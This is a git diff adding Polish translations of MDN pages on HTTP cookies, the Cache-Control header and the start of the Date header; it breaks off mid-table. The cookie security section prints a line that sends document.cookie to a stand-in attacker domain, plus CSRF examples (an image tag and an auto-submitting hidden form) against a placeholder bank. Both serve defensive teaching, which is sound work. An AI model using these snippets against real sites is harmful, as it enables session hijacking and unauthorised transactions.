+<pre class="syntaxbox">Set-Cookie: &lt;nazwa-ciasteczka&gt;=&lt;wartość-ciasteczka&gt;</pre>
+
+<p>Ten nagłówek nadany przez serwer informuje klienta, że należy zapisać ciasteczko.</p>
+
+<div class="note"><strong>Uwaga:</strong> W odnośnikach znajdują się przykłady użycia nagłówka <code>Set-Cookie</code> w różnych aplikacjach uruchamianych po stronie serwera:
+
+<ul>
+ <li><a href="https://secure.php.net/manual/en/function.setcookie.php">PHP</a></li>
+ <li><a href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.JS</a></li>
+ <li><a href="https://docs.python.org/3/library/http.cookies.html">Python</a></li>
+ <li><a href="https://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a></li>
+</ul>
+</div>
+
+<pre>HTTP/2.0 200 OK
+Content-type: text/html
+Set-Cookie: yummy_cookie=choco
+Set-Cookie: tasty_cookie=strawberry
+
+[page content]</pre>
+
+<p id="The_client_sends_back_to_the_server_its_cookies_previously_stored">Teraz z każdym kolejnym żądaniem do serwera, używając nagłówka <a href="/pl/docs/Web/HTTP/Headers/Cookie">Cookie</a>, przeglądarka będzie wysyłać także wszystkie przechowywane ciasteczka.</p>
+
+<pre>GET /sample_page.html HTTP/2.0
+Host: www.example.org
+Cookie: yummy_cookie=choco; tasty_cookie=strawberry</pre>
+
+<h3 id="Ciasteczka_sesyjne">Ciasteczka sesyjne</h3>
+
+<p>Ciasteczko stworzone w poprzedniej sekcji jest <em>ciasteczkiem sesyjnym</em>: zostaje usunięte wraz z wyłączeniem klienta, ponieważ nie użyto dyrektyw <code>Expires</code> lub <code>Max-Age</code>. Jednakże przeglądarki mogą użyć mechanizmu <strong>przywracania sesji</strong>, który zmienia większość ciasteczek sesyjnych w trwałe, tak jakby przeglądarka nie została nigdy zamknięta.</p>
+
+<h3 id="Ciasteczka_trwałe">Ciasteczka trwałe</h3>
+
+<p>Zamiast wygasnąć po wyłączeniu klienta, <em>trwałe ciasteczka</em> wygasają w konkretnym terminie (<code>Expires</code>) lub po określonym czasie (<code>Max-Age</code>).</p>
+
+<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre>
+
+<div class="note">
+<p><strong>Uwaga</strong>: Ustawiając termin wygaśnięcia, czas i data są określane w odniesieniu do klienta, który zapisuje ciasteczko, nie w odniesieniu do serwera.</p>
+</div>
+
+<h3 id="Ciasteczka_Secure_i_HttpOnly"><a name="ciasteczka_secure_i_httponly">Ciasteczka <code>Secure</code> i <code>HttpOnly</code></a></h3>
+
+<p>Bezpieczne ciasteczko może być wysłane do serwera tylko i wyłącznie zaszyfrowanym żądaniem protokołu HTTPS. Nawet używając dyrektywy <code>Secure</code>, poufne dane <em>nigdy</em> nie powinny być przechowywane w ciasteczkach, ponieważ nie są one bezpieczne, a ta flaga nie może zaoferować dostatecznej ochrony. Zaczynając od przeglądarek Chrome 52 i Firefox 52, niepewne strony (<code>http:</code>) nie mają możliwości ustawiania ciasteczek z dyrektywą <code>Secure</code>.</p>
+
+<p>Aby ograniczać możliwości przeprowadzenia ataku cross-site scripting ({{Glossary("XSS")}}), ciasteczka <code>HttpOnly</code> są niedostępnie dla JavaScript'owego {{domxref("Document.cookie")}} API; można je tylko wysyłać do serwera. Przykładowo, ciasteczka utrzymujące sesję po stronie serwera nie muszą być dostępne dla JavaScript'u, więc flaga <code>HttpOnly</code> powinna być ustawiona.</p>
+
+<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre>
+
+<h3 id="Zakres_ciasteczek">Zakres ciasteczek</h3>
+
+<p>Dyrektywy <code>Domain</code> i <code>Path</code> definiują <em>zakres</em> ciasteczka: do jakich adresów URL ciasteczka powinny być wysyłane.</p>
+
+<p><code>Domain</code> określa dozwolone hosty sieciowe. Jeżeli nie jest ustawiona to domyślną wartością jest <a href="/en-US/docs/Web/API/Document/location">host aktualnej lokalizacji dokumentu</a>, <strong>z pominięciem subdomen.</strong> Jeżeli dyrektywa <code>Domain</code> <em>jest</em> określona to subdomeny zawsze są uwzględnione.</p>
+
+<p>Przykładowo, jeżeli ustawiono <code>Domain=mozilla.org</code>, to ciasteczka są uwzględnione także dla subdomen takich jak <code>developer.mozilla.org</code>.</p>
+
+<p><code>Path</code> oznacza, że podana ścieżka URL musi być zawarta w żądanym adresie URL aby wysłać nagłówek <code>Cookie</code>. Znak %x2F ("/") jest uznawany za separator katalogu, a wszystkie podkatalogi także spełniają warunek.</p>
+
+<p>Jeżeli ustawiono <code>Path=/docs</code>, to następujące przykładowe ścieżki będą pasować:</p>
+
+<ul>
+ <li><code>/docs</code></li>
+ <li><code>/docs/Web/</code></li>
+ <li><code>/docs/Web/HTTP</code></li>
+</ul>
+
+<h3 id="Ciasteczka_SameSite_experimental_inline"><a id="ciasteczka_samesite" name="ciasteczka_samesite"></a>Ciasteczka <code>SameSite</code> {{experimental_inline}}</h3>
+
+<p>Ciasteczka <code>SameSite</code> pozwalają serwerom wymagać, aby nie były one przesyłane żądaniami pomiędzy stronami internetowymi (gdzie {{Glossary("Site")}} jest zdefiniowane jako rejestrowalna domena), co zapewnia pewną ochronę od ataków <em>Cross-Site Request Forgery</em> ({{Glossary("CSRF")}}).</p>
+
+<p>Ciasteczka <code>SameSite</code> są relatywnie nowe, ale <a href="/en-US/docs/Web/HTTP/headers/Set-Cookie#Browser_compatibility">wspierane przez wszystkie główne przeglądarki internetowe</a>.</p>
+
+<p>Przykładowo:</p>
+
+<pre>Set-Cookie: nazwa=wartość; SameSite=Strict</pre>
+
+<p>Atrybut <code>SameSite</code> może przyjmować jedną z trzech wartości (<span class="tlid-translation translation" lang="pl"><span title="">bez rozróżniania wielkości liter</span></span>):</p>
+
+<dl>
+ <dt><code>None</code></dt>
+ <dd>Przeglądarka będzie wysyłać ciasteczka zarówno żądaniami pomiędzy stronami (<em>cross-site</em>) jak i żądaniami odnoszącymi się do aktualnej strony (<em>same-site</em>).</dd>
+ <dt><code>Strict</code></dt>
+ <dd>Przeglądarka będzie wysyłać ciasteczka tylko żądaniami <em>same-site</em> (pochodzącymi z witryny, która ustawia ciasteczko). Jeżeli żądanie nie pochodzi z adresu URL aktualnej lokacji to żadne z ciasteczek oznaczonych atrybutem <code>Strict</code> nie zostanie przesłane.</dd>
+ <dt><code>Lax</code></dt>
+ <dd>Ciasteczka <code>SameSite</code> są wstrzymywane przy żądaniach, które wywołują ładowanie obrazów lub ramek z innych stron. Będą jednak wysłane, gdy użytkownik przechodzi do adresu URL z zewnętrznej strony, np. poprzez kliknięcie w link.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p>Przeglądarki decydują się na <a href="https://www.chromestatus.com/feature/5088147346030592">domyślne ustawianie <code>SameSite=Lax</code></a>. Jeżeli istnieje potrzeba wysyła ciasteczka pomiędzy różnymi źródłami (<em>cross-origin</em>), należy zrezygnować z zabezpieczenia SameSite używając wartości <code>None</code> dla tej dyrektywy. Wymaga ona obecności atrybutu <a href="#ciasteczka_secure_i_httponly"><code>Secure</code></a>.</p>
+</div>
+
+<h3 id="Prefiksy_ciasteczek_experimental_inline">Prefiksy ciasteczek {{experimental_inline}}</h3>
+
+<p>Konstrukcja mechanizmu działania ciasteczek uniemożliwia serwerowi otrzymanie potwierdzenia ustawienia ciasteczka dla bezpiecznego źródła, a nawet dowiedzenia się <em>gdzie</em> ciasteczko zostało pierwotnie ustawione.  Każda subdomena jak na przykład <code>application.example.com</code> może ustawić ciasteczko, które będzie wysyłane wraz z żądaniami do <code>example.com</code> lub do innych subdomen dzięki ustawieniu atrybutu <em>Domain</em>:</p>
+
+<pre class="syntaxbox">Set-Cookie: CSRF=e8b667; Secure; Domain=example.com</pre>
+
+<p>Jeżeli podatna aplikacja jest dostępna na subdomenie to ten mechanizm może być wykorzystany w ataku <em>session fixation.</em> Gdy użytkownik odwiedza stronę na głównej domenie (lub innej subdomenie), aplikacja może zaufać istniejącej wartości wysłanej w ciasteczku użytkownika. To może pozwolić atakującemu ominąć zabezpieczenie przed CSRF lub przejąć sesję po zalogowaniu się użytkownika.</p>
+
+<p>Alternatywnie, jeżeli główna domena nie używa {{Glossary("HSTS")}} z ustawioną opcją <code>includeSubdomains</code>,  to użytkownikowi podlegającemu właśnie atakowi MitM (być może podłączonemu do otwartej sieci Wi-Fi) może zostać zwrócona odpowiedź na żądanie wraz z ustawionym nagłówkiem <a href="/pl/docs/Web/HTTP/Headers/Set-Cookie">Set-Cookie</a> z nieistniejącej subdomeny. Wynik końcowy byłby taki sam, ponieważ przeglądarka przechowywałaby nielegalny plik cookie i wysyłałaby go na wszystkie inne strony w domenie <code>example.com</code>.</p>
+
+<p>Aby ograniczyć możliwości przeprowadzenia ataku <em>session fixation</em> <span class="tlid-translation translation" lang="pl"><span title="">powinno się przede wszystkim ponownie generować wartości ciasteczka sesyjnego gdy użytkownik się uwierzytelnia (nawet jeśli ciasteczko już istnieje) i dokonywać powiązania tokena CSRF z użytkownikiem.</span> <span title="">W ramach silniejszej obrony możliwe jest użycie <em>prefiksów ciasteczek</em> w celu potwierdzenia pewnych faktów na temat samych ciasteczek.</span> <span title="">Dostępne są dwa prefiksy:</span></span></p>
+
+<dl>
+ <dt><code>__Host-</code></dt>
+ <dd>Jeżeli ciasteczko posiada ten prefiks, to będzie ono zaakceptowane tylko poprzez dyrektywę <a href="/pl/docs/Web/HTTP/Headers/Set-Cookie">Set-Cookie</a> oznaczoną jako <code>Secure</code>, wysłaną z bezpiecznego źródła (HTTPS), <em>nie</em> posiadającą atrybutu <code>Domain</code> i mającą atrybut <code>Path</code> o wartości <code>/</code>. Tym sposobem ciasteczka mogą być widoczne jako "domain-locked".</dd>
+ <dt><code>__Secure-</code></dt>
+ <dd>Jeżeli ciasteczko posiada ten prefiks, to będzie ono zaakceptowane tylko poprzez dyrektywę <a href="/pl/docs/Web/HTTP/Headers/Set-Cookie">Set-Cookie</a> oznaczoną jako <code>Secure</code> i wysłaną z bezpiecznego źródła (HTTPS). Jest to słabsze zabezpieczenie niż prefiks <code>__Host-</code>.</dd>
+</dl>
+
+<p>Ciasteczka niespełniające kryteriów zostaną odrzucone przez przeglądarkę. Zapewnia to, że gdyby subdomena spróbowała stworzyć takie ciasteczko, to zostanie ono ograniczone do subdomeny lub całkowicie zignorowane. Podczas określania, czy użytkownik jest uwierzytelniony lub czy token CSRF jest poprawny, serwer aplikacji sprawdza tylko ciasteczka o określonych nazwach. Dzięki temu mechanizm prefiksów efektywnie działa jako obrona przed <em>session fixation.</em></p>
+
+<div class="note">
+<p>Aplikacja będąca serwerem <em>musi</em> sprawdzić ciasteczko o pełnej nazwie uwzględniającej prefiks. Dlatego agent użytkownika aplikacji <em>nie</em> wytnie prefiksu przed wysłaniem ciasteczka w nagłówku {{HTTPHeader("Cookie")}}.</p>
+</div>
+
+<p>Aby uzyskać więcej informacji o prefiksach ciasteczek i aktualnym stanie wspieralności tego rozwiązania przez przeglądarki odwiedź <a href="/en-US/docs/Web/HTTP/Headers/Set-Cookie#Cookie_prefixes">sekcję Set-Cookie</a>.</p>
+
+<h3 id="Dostęp_JavaScript_za_pomocą_Document.cookie">Dostęp JavaScript za pomocą <code>Document.cookie</code></h3>
+
+<p>Nowe ciasteczka mogą być tworzone z użyciem JavaScriptu poprzez użycie właściwości {{domxref("Document.cookie")}}, a jeżeli flaga <code>HttpOnly</code> nie jest ustawiona, to także istniejące ciasteczka są dostępne.</p>
+
+<pre class="brush: js">document.cookie = "yummy_cookie=choco";
+document.cookie = "tasty_cookie=strawberry";
+console.log(document.cookie);
+// logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre>
+
+<p>Ciasteczka stworzone z użyciem JavaScriptu nie mogą zawierać flagi <code>HttpOnly</code>.</p>
+
+<p>Ciasteczka dostępne dla JavaScriptu są narażone na cyberataki. Więcej szczegółów znajduje się w poniższej sekcji<a href="/en-US/docs/Web/HTTP/Cookies#Security">.</a></p>
+
+<h2 id="Bezpieczeństwo">Bezpieczeństwo</h2>
+
+<div class="note">
+<p>Należy zawsze pamiętać, że informacje przechowywane w ciasteczkach będą widoczne i mogą zostać zmodyfikowane przez użytkownika. W zależności od aplikacji, pożądane może być użycie nieprzejrzystego identyfikatora sprawdzanego po stronie serwera lub rozważenie alternatywnych mechanizmów uwierzytelniania/poufności takich jak JSON Web Tokens.</p>
+</div>
+
+<h3 id="Przejmowanie_sesji_i_XSS">Przejmowanie sesji i XSS</h3>
+
+<p>Ciasteczka są często używane w aplikacjach webowych do identyfikowania użytkownika i jego uwierzytelnionej sesji, więc kradzież ciasteczka może prowadzić do jej przejęcia. Powszechnymi sposobami kradzieży ciasteczek są inżynieria społeczna i wykorzystywanie podatności XSS w aplikacjach.</p>
+
+<pre class="brush: js">(new Image()).src = "http://www.evil-domain.com/steal-cookie?cookie=" + document.cookie;</pre>
+
+<p>Atrybut <code>HttpOnly</code> może pomóc uniknąć tego ataku poprzez zablokowanie JavaScriptowi dostępu do wartości ciasteczka.  Sposobem na złagodzenie skutków takiego ataku jest wdrożenie surowej <a href="/en-US/docs/Web/HTTP/CSP">polityki bezpieczeństwa treści (<em>CSP</em>)</a>.</p>
+
+<h3 id="Cross-site_request_forgery_CSRF">Cross-site request forgery (CSRF)</h3>
+
+<p>Na stronie <a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">Wikipedii</a> znajduje się dobry przykład {{Glossary("CSRF")}}. W tej sytuacji ktoś załączył element "img", który tak na prawdę nie jest obrazem (np. na niefiltrowanym czacie lub forum), a zamiast tego jest żądaniem do serwera banku użytkownika mającym na celu wypłatę pieniędzy:</p>
+
+<pre class="brush: html">&lt;img src="https://bank.example.com/withdraw?account=bob&amp;amount=1000000&amp;for=mallory"&gt;</pre>
+
+<p>Jeżeli jesteś aktualnie zalogowany na swoim koncie bankowym i odpowiadające ciasteczka są dalej aktualne (i nie ma żadnej dodatkowej walidacji), to próba załadowania "obrazka" zakończy się przelewem pieniędzy. Dla punktów końcowych wymagających żądania POST jest możliwe aby  programowo wykonać potwierdzenie formularza (być może zawartego w niewidzialnym elemencie <code>&lt;iframe&gt;</code>) gdy strona jest ładowana:</p>
+
+<pre class="brush: html">&lt;form action="https://bank.example.com/withdraw" method="POST"&gt;
+ &lt;input type="hidden" name="account" value="bob"&gt;
+ &lt;input type="hidden" name="amount" value="1000000"&gt;
+ &lt;input type="hidden" name="for" value="mallory"&gt;
+&lt;/form&gt;
+&lt;script&gt;window.addEventListener('DOMContentLoaded', (e) =&gt; { document.querySelector('form').submit(); }&lt;/script&gt;
+</pre>
+
+<p>Jest kilka technik, których stosowanie powinno być używane do zapobiegania CSRF:</p>
+
+<ul>
+ <li>punkty końcowe GET powinny być idempotentne — akcje, które wprowadzają <em>zmianę </em>i nie mają na celu zwykłego pobrania danych powinny być wykonywane żądaniem POST (lub inną metodą HTTP). Punkty końcowe POST nie powinny dodatkowo obsługiwać żądań GET z parametrami query.</li>
+ <li>Token CSRF powinien być zawarty w elementach <code>&lt;form&gt;</code> poprzez użycie niewidzialnego pola wejściowego <code>&lt;input type="hidden"&gt;</code>. Powinien on być unikalny dla każdego użytkownika i przechowywany (np. w ciasteczku) w sposób pozwalający serwerowi podejrzeć oczekiwną wartość w momencie odebrania żądania HTTP. Dla wszystkich nie-GET'owych żądań potencjalnie mogących wykonać jakąś akcję w systemie, ten token powinien być porównany z jego zapisaną wartością.  W przypadku niezgodności należy odrzucić takie żądanie.
+ <ul>
+ <li>Ta metoda zabezpieczania polega na tym, że atakujący nie jest w stanie przewidzieć jak wygląda otrzymany przez użytkownika token CSRF. Dodatkowo token powinien być generowany ponownie po każdym zalogowaniu się użytkownika.</li>
+ </ul>
+ </li>
+ <li>Ciasteczka używane do wykonywania poufnych akcji (takie jak ciasteczka sesyjne) powinny mieć krótki czas życia i atrybut <code>SameSite</code> ustawiony na <code>Strict</code> lub <code>Lax</code>. (zobacz <a href="#ciasteczka_samesite">ciasteczka SameSite</a>). W przeglądarkach wspierających tę funkcjonalność, efektem będzie upewnienie się, że ciasteczko sesyjne <em>nie</em><em> </em>zostanie wysłane w żądaniach do innych stron, więc żądania te nie będą przez serwer aplikacji uwierzytelnione.</li>
+ <li>Wdrożenie zarówno tokenów CSRF jak i ciasteczek <code>SameSite</code> zapewnia ochronę wszystkich przeglądarek nawet w przypadkach gdy ochrona mechanizmu <code>SameSite</code> nie może pomóc (np. gdy źródłem ataków jest oddzielna subdomena).</li>
+ <li>Aby poznać inne metody zabezpieczające przed CSRF sprawdź <a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html">ściągawkę przygotowaną przez organizację OWASP</a>.</li>
+</ul>
+
+<h2 id="Śledzenie_i_prywatność">Śledzenie i prywatność</h2>
+
+<h3 id="Ciasteczka_podmiotów_zewnętrznych_third-party_cookies">Ciasteczka podmiotów zewnętrznych (<em>third-party cookies</em>)</h3>
+
+<p>Ciasteczka zawsze mają przyporządkowaną jakąś domenę. Jeżeli jest ona tą samą domeną co domena aktualnie odwiedzanej strony to nazywamy ciasteczko <em>własnym</em> (<em>first-party cookie</em>). W innym przypadku mówimy o ciasteczku <em>zewnętrznego podmiotu/witryny</em>. Podczas gdy ciasteczka własne są wysyłane tylko do serwerów, które je ustawiły, strona internetowa może zawierać obrazki lub inne komponenty przechowywane na serwerach w innych domenach (np. banery reklamowe). Takie ciasteczka są głównie używane do reklam i śledzenia. Dobrym przykładem są <a href="https://www.google.com/policies/technologies/types/">ciasteczka używane przez Google</a>. Większość przeglądarek domyślnie zezwala na działanie ciasteczek zewnętrznych podmiotów, ale istnieją dodatki blokujące je (np. <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a> stworzony przez <a href="https://www.eff.org/">EFF</a>).</p>
+
+<p>Jeżeli jako serwis internetowy nie ujawniasz faktu używania ciasteczek zewnętrznych podmiotów to zaufanie użytkowników może zostać nadszarpnięte, gdy się o tym dowiedzą. Wyraźna informacja (np. w polityce prywatności) zazwyczaj eliminuje wszelkie negatywne skutki ich obecności. Niektóre kraje mają także przepisy dotyczące ciasteczek. Zobacz na przykładzie <a href="https://wikimediafoundation.org/wiki/Cookie_statement">oświadczenia fundacji Wikimedia</a> o plikach cookie.</p>
+
+<h3 id="Do-Not-Track">Do-Not-Track</h3>
+
+<p>Nie ma prawnych lub technologicznych wymagań używania nagłówka <a href="/en-US/docs/Web/HTTP/Headers/DNT">DNT</a>, ale może on być użyty aby zasygnalizować, że aplikacja webowa powinna wyłączyć mechanizm śledzenia lub śledzenia poszczególnych użytkowników przez jednego użytkownika. Zobacz <a href="/en-US/docs/Web/HTTP/Headers/DNT">DNT</a> aby uzyskać więcej informacji.</p>
+
+<h3 id="Dyrektywa_UE_ws._plików_cookie">Dyrektywa UE ws. plików cookie</h3>
+
+<p>Wymagania dla ciasteczek w Unii Europejskiej są zdefiniowane w <a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">dyrektywie 2009/136/EC</a> wydanej przez Parlament Europejski, która weszła w życie 25 maja 2011. Dyrektywa sama w sobie nie jest prawem, ale wymaganiem wprowadzenia prawa spełniającego jej wymagania przez państwa członkowskie. Prawo może różnić się w zależności od państwa.</p>
+
+<p>W skrócie, dyrektywa wymusza na zarządzających stronami internetowymi uzyskanie świadomej zgody od użytkowników na przechowywanie i pobieranie jakiejkolwiek informacji dostępnej na komputerze, komórce czy innym urządzeniu, z którego korzystają. Od wprowadzenia nowego prawa wiele stron dodało banery informujące użytkowników o używaniu ciasteczek.</p>
+
+<p>Aby dowiedzieć się więcej, sprawdź <a href="https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive">artykuł na Wikipedii</a> oraz zdobądź informacje jak wygląda aktualne prawo w docelowym regionie.</p>
+
+<h3 id="Ciasteczka_zombie_i_Evercookies">Ciasteczka zombie i  "Evercookies"</h3>
+
+<p>Bardziej radykalnym podejściem do ciasteczek są ciasteczka zombie lub "Evercookies", które po usunięciu są w stanie odtworzyć się na nowo. Zostały zaprojektowane tak, aby ciężko było usunąć je na zawsze. W celu zapewnienia tej funkcjonalności implementacje używają m.in. <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> i Flash Local Shared Objects.</p>
+
+<ul>
+ <li><a href="https://github.com/samyk/evercookie">Evercookie by Samy Kamkar</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">Zombie cookies on Wikipedia</a></li>
+</ul>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>{{HTTPHeader("Set-Cookie")}}</li>
+ <li>{{HTTPHeader("Cookie")}}</li>
+ <li>{{domxref("Document.cookie")}}</li>
+ <li>{{domxref("Navigator.cookieEnabled")}}</li>
+ <li><a href="/en-US/docs/Tools/Storage_Inspector">Inspecting cookies using the Storage Inspector</a></li>
+ <li><a class="external" href="https://tools.ietf.org/html/rfc6265">Cookie specification: RFC 6265</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">HTTP cookie on Wikipedia</a></li>
+</ul>
diff --git a/files/pl/web/http/headers/cache-control/index.html b/files/pl/web/http/headers/cache-control/index.html
new file mode 100644
index 0000000000..8ce8eb1f63
--- /dev/null
+++ b/files/pl/web/http/headers/cache-control/index.html
@@ -0,0 +1,171 @@
+---
+title: Cache-Control
+slug: Web/HTTP/Headers/Cache-Control
+translation_of: Web/HTTP/Headers/Cache-Control
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Cache-Control</code></strong> nagłówek jest stosowany do określania dyrektyw sterujących pamięcią podręczną w zapytaniu i odpowiedzi protokołu HTTP. Dyrektywy pamięci podręcznej są jednokierunkowe, co oznacza że dyrektywa użyta w zapytaniu klienta HTTP nie musi pojawić się w odpowiedzi serwera.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("General header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+ <td>yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Składnia">Składnia</h2>
+
+<p>Wielkość liter nie ma znaczeniu w określaniu dyrektyw. Dyrektywa może posiadać opcjonalny argument który może być podany jako token (słowo) lub string w cudzysłowiu. Możliwe jest podanie wielu dyrektyw przez oddzielenie ich przecinkiem.</p>
+
+<h3 id="Dyrektywy_zapytania">Dyrektywy zapytania</h3>
+
+<p>Standardowe dyrektywy nagłówka <code>Cache-Control</code> które mogą być użyte w zapytaniu klienta HTTP.</p>
+
+<pre class="syntaxbox">Cache-Control: max-age=&lt;seconds&gt;
+Cache-Control: max-stale[=&lt;seconds&gt;]
+Cache-Control: min-fresh=&lt;seconds&gt;
+Cache-Control: no-cache
+Cache-Control: no-store
+Cache-Control: no-transform
+Cache-Control: only-if-cached
+</pre>
+
+<h3 id="Dyrektywy_odpowiedzi">Dyrektywy odpowiedzi</h3>
+
+<p>Standardowe dyrektywy nagłówka <code>Cache-Control</code> które mogą być użyte w odpowiedzi serwera HTTP.</p>
+
+<pre class="syntaxbox">Cache-Control: must-revalidate
+Cache-Control: no-cache
+Cache-Control: no-store
+Cache-Control: no-transform
+Cache-Control: public
+Cache-Control: private
+Cache-Control: proxy-revalidate
+Cache-Control: max-age=&lt;seconds&gt;
+Cache-Control: s-maxage=&lt;seconds&gt;
+</pre>
+
+<h3 id="Extension_Cache-Control_directives">Extension <code>Cache-Control</code> directives</h3>
+
+<p>Extension <code>Cache-Control</code> directives are not part of the core HTTP caching standards document. Be sure to check the <a href="#Browser_compatibility">compatibility table</a> for their support.</p>
+
+<pre class="syntaxbox">Cache-Control: immutable
+Cache-Control: stale-while-revalidate=&lt;seconds&gt;
+Cache-Control: stale-if-error=&lt;seconds&gt;
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<h3 id="Cacheability">Cacheability</h3>
+
+<dl>
+ <dt><code>public</code></dt>
+ <dd>Indicates that the response may be cached by any cache.</dd>
+ <dt><code>private</code></dt>
+ <dd>Indicates that the response is intended for a single user and must not be stored by a shared cache. A private cache may store the response.</dd>
+ <dt><code>no-cache</code></dt>
+ <dd>Forces caches to submit the request to the origin server for validation before releasing a cached copy.</dd>
+ <dt><code>only-if-cached</code></dt>
+ <dd>Indicates to not retrieve new data. This being the case, the server wishes the client to obtain a response only once and then cache. From this moment the client should keep releasing a cached copy and avoid contacting the origin-server to see if a newer copy exists.</dd>
+</dl>
+
+<h3 id="Expiration">Expiration</h3>
+
+<dl>
+ <dt><code>max-age=&lt;seconds&gt;</code></dt>
+ <dd>Specifies the maximum amount of time a resource will be considered fresh. Contrary to <code>Expires</code>, this directive is relative to the time of the request.</dd>
+ <dt><code>s-maxage=&lt;seconds&gt;</code></dt>
+ <dd>Overrides <code>max-age</code> or the <code>Expires</code> header, but it only applies to shared caches (e.g., proxies) and is ignored by a private cache.</dd>
+ <dt><code>max-stale[=&lt;seconds&gt;]</code></dt>
+ <dd>Indicates that the client is willing to accept a response that has exceeded its expiration time. Optionally, you can assign a value in seconds, indicating the time the response must not be expired by.</dd>
+ <dt><code>min-fresh=&lt;seconds&gt;</code></dt>
+ <dd>Indicates that the client wants a response that will still be fresh for at least the specified number of seconds.</dd>
+ <dt><code>stale-while-revalidate=&lt;seconds&gt;</code> {{experimental_inline}}</dt>
+ <dd>Indicates that the client is willing to accept a stale response while asynchronously checking in the background for a fresh one. The seconds value indicates for how long the client is willing to accept a stale response.</dd>
+ <dt><code>stale-if-error=&lt;seconds&gt;</code> {{experimental_inline}}</dt>
+ <dd>Indicates that the client is willing to accept a stale response if the check for a fresh one fails. The seconds value indicates for how long the client is willing to accept the stale response after the initial expiration.</dd>
+</dl>
+
+<h3 id="Revalidation_and_reloading">Revalidation and reloading</h3>
+
+<dl>
+ <dt><code>must-revalidate</code></dt>
+ <dd>The cache must verify the status of the stale resources before using it and expired ones should not be used.</dd>
+ <dt><code>proxy-revalidate</code></dt>
+ <dd>Same as <code>must-revalidate</code>, but it only applies to shared caches (e.g., proxies) and is ignored by a private cache.</dd>
+ <dt><code>immutable</code></dt>
+ <dd>Indicates that the response body will not change over time. The resource, if unexpired, is unchanged on the server and therefore the client should not send a conditional revalidation for it (e.g. <code>If-None-Match</code> or <code>If-Modified-Since</code>) to check for updates, even when the user explicitly refreshes the page. Clients that aren't aware of this extension must ignore them as per the HTTP specification. In Firefox, <code>immutable</code> is only honored on <code>https://</code> transactions. For more information, see also this <a href="http://bitsup.blogspot.de/2016/05/cache-control-immutable.html">blog post</a>.</dd>
+</dl>
+
+<h3 id="Other">Other</h3>
+
+<dl>
+ <dt><code>no-store</code></dt>
+ <dd>The cache should not store anything about the client request or server response.</dd>
+ <dt><code>no-transform</code></dt>
+ <dd>No transformations or conversions should be made to the resource. The Content-Encoding, Content-Range, Content-Type headers must not be modified by a proxy. A non- transparent proxy might, for example, convert between image formats in order to save cache space or to reduce the amount of traffic on a slow link. The <code>no-transform</code> directive disallows this.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Preventing_caching">Preventing caching</h3>
+
+<p>To turn off caching, you can send the following response header. In addition, see also the <code>Expires</code> and <code>Pragma</code> headers.</p>
+
+<pre class="brush: bash">Cache-Control: no-cache, no-store, must-revalidate
+</pre>
+
+<h3 id="Caching_static_assets">Caching static assets</h3>
+
+<p>For the files in the application that will not change, you can usually add aggressive caching by sending the response header below. This includes static files that are served by the application such as images, CSS files and JavaScript files, for example. In addition, see also the <code>Expires</code> header.</p>
+
+<pre class="brush: bash">Cache-Control: public, max-age=31536000</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7234")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+ </tr>
+ <tr>
+ <td>{{RFC("5861")}}</td>
+ <td>HTTP Cache-Control Extensions for Stale Content</td>
+ </tr>
+ <tr>
+ <td>{{RFC("8246")}}</td>
+ <td>HTTP Immutable Responses</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Cache-Control")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Caching_FAQ">HTTP Caching FAQ</a></li>
+ <li>{{HTTPHeader("Age")}}</li>
+ <li>{{HTTPHeader("Expires")}}</li>
+ <li>{{HTTPHeader("Pragma")}}</li>
+</ul>
diff --git a/files/pl/web/http/headers/data/index.html b/files/pl/web/http/headers/data/index.html
new file mode 100644
index 0000000000..f348b4e839
--- /dev/null
+++ b/files/pl/web/http/headers/data/index.html
@@ -0,0 +1,81 @@
+---
+title: Data
+slug: Web/HTTP/Headers/Data
+translation_of: Web/HTTP/Headers/Date
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Date</code></strong> jest to ogólny nagłówek HTTP zawierający datę i czas w jakiej wiadomość została stworzona.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("General header")}}</td>
+ </tr>
+ <tr>
